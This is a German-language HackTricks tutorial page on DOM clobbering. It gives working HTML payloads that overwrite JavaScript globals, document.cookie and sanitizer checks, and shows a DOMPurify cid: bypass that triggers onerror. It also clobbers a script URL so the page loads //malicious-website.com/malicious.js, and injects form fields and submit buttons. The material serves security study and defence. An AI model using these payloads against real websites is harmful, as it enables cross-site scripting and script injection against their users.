Dom Clobbering

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Grundlagen

Es ist möglich, globale Variablen im JS-Kontext mit den Attributen id und name in HTML-Tags zu generieren.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Nur bestimmte Elemente können das name-Attribut verwenden, um globale Variablen zu überschreiben. Diese sind: embed, form, iframe, image, img und object.

Interessanterweise erhält man, wenn man ein Formularelement verwendet, um eine Variable zu überschreiben, den toString-Wert des Elements selbst: [object HTMLFormElement], aber mit dem Anker ist der toString der Anker-href. Daher kann man, wenn man das a-Tag verwendet, die Wert kontrollieren, wenn es als Zeichenkette behandelt wird:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attribute

Es ist auch möglich, ein Array und Objektattribute zu überschreiben:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Um ein drittes Attribut (z. B. x.y.z) zu überschreiben, müssen Sie ein form verwenden:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Das Überschreiben weiterer Attribute ist komplizierter, aber immer noch möglich, indem man iframes verwendet:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Der style-Tag wird verwendet, um dem iframe genügend Zeit zum Rendern zu geben. Ohne ihn erhalten Sie eine Warnung für "undefined".

Um tiefere Attribute zu überschreiben, können Sie iframes mit HTML-Codierung verwenden, wie folgt:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Filterumgehung

Wenn ein Filter die Eigenschaften eines Knotens mit etwas wie document.getElementByID('x').attributes durchläuft, könnten Sie das Attribut .attributes überschreiben und den Filter außer Kraft setzen. Andere DOM-Eigenschaften wie tagName, nodeName oder parentNode und mehr sind ebenfalls überschreibbar.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Überschreiben von window.someObject

In JavaScript ist es üblich, Folgendes zu finden:

var someObject = window.someObject || {};

Die Manipulation von HTML auf der Seite ermöglicht das Überschreiben von someObject mit einem DOM-Knoten und kann potenziell Sicherheitslücken verursachen. Zum Beispiel können Sie someObject durch ein Anker-Element ersetzen, das auf ein bösartiges Skript verweist:

<a id=someObject href=//malicious-website.com/malicious.js></a>

In einem anfälligen Code wie:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Diese Methode nutzt die Skriptquelle aus, um unerwünschten Code auszuführen.

Trick: DOMPurify ermöglicht die Verwendung des Protokolls cid:, das Anführungszeichen nicht URL-codiert. Dies bedeutet, dass Sie ein codiertes Anführungszeichen injizieren können, das zur Laufzeit decodiert wird. Daher führt das Injizieren von etwas wie <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> dazu, dass das HTML-codierte &quot; zur Laufzeit decodiert wird und aus dem Attributwert entkommt, um das Ereignis onerror zu erzeugen.

Eine andere Technik verwendet ein form-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formulars, um sie zu bereinigen. Durch Hinzufügen eines input mit id=attributes innerhalb des Formulars überschreiben Sie effektiv das Attribut attributes und verhindern, dass der Sanitizer auf die tatsächlichen Attribute zugreift.

Sie können ein Beispiel für diese Art von Clobbering in diesem CTF-Writeup finden.

Überschreiben des Dokumentobjekts

Gemäß der Dokumentation ist es möglich, Attribute des Dokumentobjekts mit DOM Clobbering zu überschreiben:

Das Document-Interface unterstützt benannte Eigenschaften. Die unterstützten Eigenschaftsnamen eines Document-Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in Baumreihenfolge entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden und Werte von id-Attributen vor Werten von name-Attributen stehen, wenn dasselbe Element sowohl das eine als auch das andere beiträgt:

- Der Wert des name-Inhaltsattributs für alle exposed embed-, form-, iframe-, img- und exposed object-Elemente, die ein nicht leeres name-Inhaltsattribut haben und sich in einem Dokumentbaum mit dem Dokument als Wurzel befinden; - Der Wert des id-Inhaltsattributs für alle exposed object-Elemente, die ein nicht leeres id-Inhaltsattribut haben und sich in einem Dokumentbaum mit dem Dokument als Wurzel befinden; - Der Wert des id-Inhaltsattributs für alle img-Elemente, die sowohl ein nicht leeres id-Inhaltsattribut als auch ein nicht leeres name-Inhaltsattribut haben und sich in einem Dokumentbaum mit dem Dokument als Wurzel befinden.

Mit dieser Technik können Sie häufig verwendete Werte wie document.cookie, document.body, document.children und sogar Methoden in der Document-Schnittstelle wie document.querySelector überschreiben.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Schreiben nach dem überschriebenen Element

Die Ergebnisse von Aufrufen von document.getElementById() und document.querySelector() können durch das Einfügen eines <html>- oder <body>-Tags mit einem identischen id-Attribut verändert werden. So kann es gemacht werden:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Darüber hinaus kann durch die Verwendung von Stilen, um diese injizierten HTML-/Body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im innerText verhindert werden, wodurch die Effektivität des Angriffs erhöht wird:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Untersuchungen zu SVG haben ergeben, dass ein <body>-Tag ebenfalls effektiv genutzt werden kann:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Um das HTML-Tag in SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein <foreignobject>-Tag erforderlich:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering von Formularen

Es ist möglich, neue Einträge in einem Formular hinzuzufügen, indem man einfach das form-Attribut in einigen Tags angibt. Dies kann verwendet werden, um neue Werte in einem Formular hinzuzufügen und sogar einen neuen Button zum Absenden hinzuzufügen (Clickjacking oder Missbrauch von .click() JS-Code):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
  • Weitere Formattribute finden Sie hier.

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated